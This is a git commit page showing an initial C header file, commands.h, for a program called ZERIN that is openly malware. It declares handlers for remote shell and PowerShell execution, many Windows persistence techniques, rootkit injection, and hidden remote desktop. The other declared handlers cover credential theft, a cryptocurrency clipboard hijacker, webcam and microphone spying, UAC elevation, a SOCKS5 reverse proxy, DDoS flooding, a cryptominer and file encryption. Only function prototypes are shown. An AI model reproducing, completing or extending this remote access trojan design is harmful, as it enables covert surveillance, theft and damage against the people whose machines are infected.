initial commit
This commit is contained in:
i2p
Executable
+155
@@ -0,0 +1,155 @@
|
||||
#ifndef ZERIN_COMMANDS_H
|
||||
#define ZERIN_COMMANDS_H
|
||||
|
||||
#include "protocol.h"
|
||||
#include "config.h"
|
||||
|
||||
// Command handler function type
|
||||
typedef int (*command_handler_fn)(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Command dispatch — routes task.command to the right handler
|
||||
int command_dispatch(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Individual command handlers
|
||||
int cmd_shell(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_whoami(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ps(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ls(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_cd(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_pwd(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_upload(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_download(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Phase 2 — enhanced commands
|
||||
int cmd_screenshot(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_netstat(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ifconfig(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_reg_read(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_reg_write(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_runkey(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_schtask(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_service(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_env(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_sysinfo(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Advanced persistence methods
|
||||
int cmd_persist_startup(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_logonscript(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_screensaver(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_ifeo(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_bits(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_com(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_dllhijack(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_wmi(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_portmon(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_ssp(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// File actions — delete, encrypt, decrypt, execute
|
||||
int cmd_delete(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_encrypt(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_decrypt(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_execute(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Auto-persistence + uninstall
|
||||
int cmd_uninstall(const task_t *task, task_result_t *result, char *cwd);
|
||||
void persist_auto_install(zerin_config_t *cfg);
|
||||
void persist_self_copy(zerin_config_t *cfg);
|
||||
|
||||
// Rootkit commands
|
||||
int cmd_rootkit_status(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_rootkit_inject(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_rootkit_inject_all(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// VNC (remote desktop)
|
||||
int cmd_vnc_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_vnc_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
void vnc_cleanup(void);
|
||||
|
||||
// hVNC (hidden virtual desktop)
|
||||
int cmd_hvnc_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_hvnc_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_hvnc_exec(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Power commands
|
||||
int cmd_restart(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_shutdown(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Troll commands
|
||||
int cmd_troll_msgbox(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_tts(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_website(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_wallpaper(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_taskbar(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_cd_tray(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_swapmouse(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_disablesound(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_blackscreen(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_disablekeyboard(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_disablemouse(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_reroutesites(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Chat
|
||||
int cmd_chat(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Powershell
|
||||
int cmd_powershell(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Kill process
|
||||
int cmd_kill(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Window enumeration
|
||||
int cmd_windows(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Installed applications
|
||||
int cmd_installed_apps(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// System specs
|
||||
int cmd_specs(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// AV detection (shared with recon)
|
||||
void get_av_product(char *buf, size_t len);
|
||||
|
||||
// Credential recovery
|
||||
int cmd_creds(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Crypto clipper
|
||||
int cmd_clipper_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_clipper_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_clipper_config(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Webcam
|
||||
int cmd_webcam_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_webcam_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_webcam_list(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Microphone
|
||||
int cmd_mic_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_mic_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// UAC elevation
|
||||
int cmd_elevate(const task_t *task, task_result_t *result, char *cwd);
|
||||
void maybe_auto_elevate(void);
|
||||
|
||||
// SOCKS5 reverse proxy
|
||||
int cmd_socks5_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_socks5_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
void socks5_cleanup(void);
|
||||
|
||||
// DDoS HTTP flood
|
||||
int cmd_ddos_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ddos_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Cryptominer (XMRig)
|
||||
int cmd_miner_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_miner_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_miner_status(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Utility
|
||||
bool is_elevated(void);
|
||||
|
||||
// Recon — gather system info for checkin
|
||||
int recon_gather_checkin(checkin_t *ci, const char *agent_id,
|
||||
uint32_t sleep_interval, uint32_t jitter_percent,
|
||||
int64_t kill_date);
|
||||
|
||||
#endif // ZERIN_COMMANDS_H
|
||||
Reference in New Issue
Block a user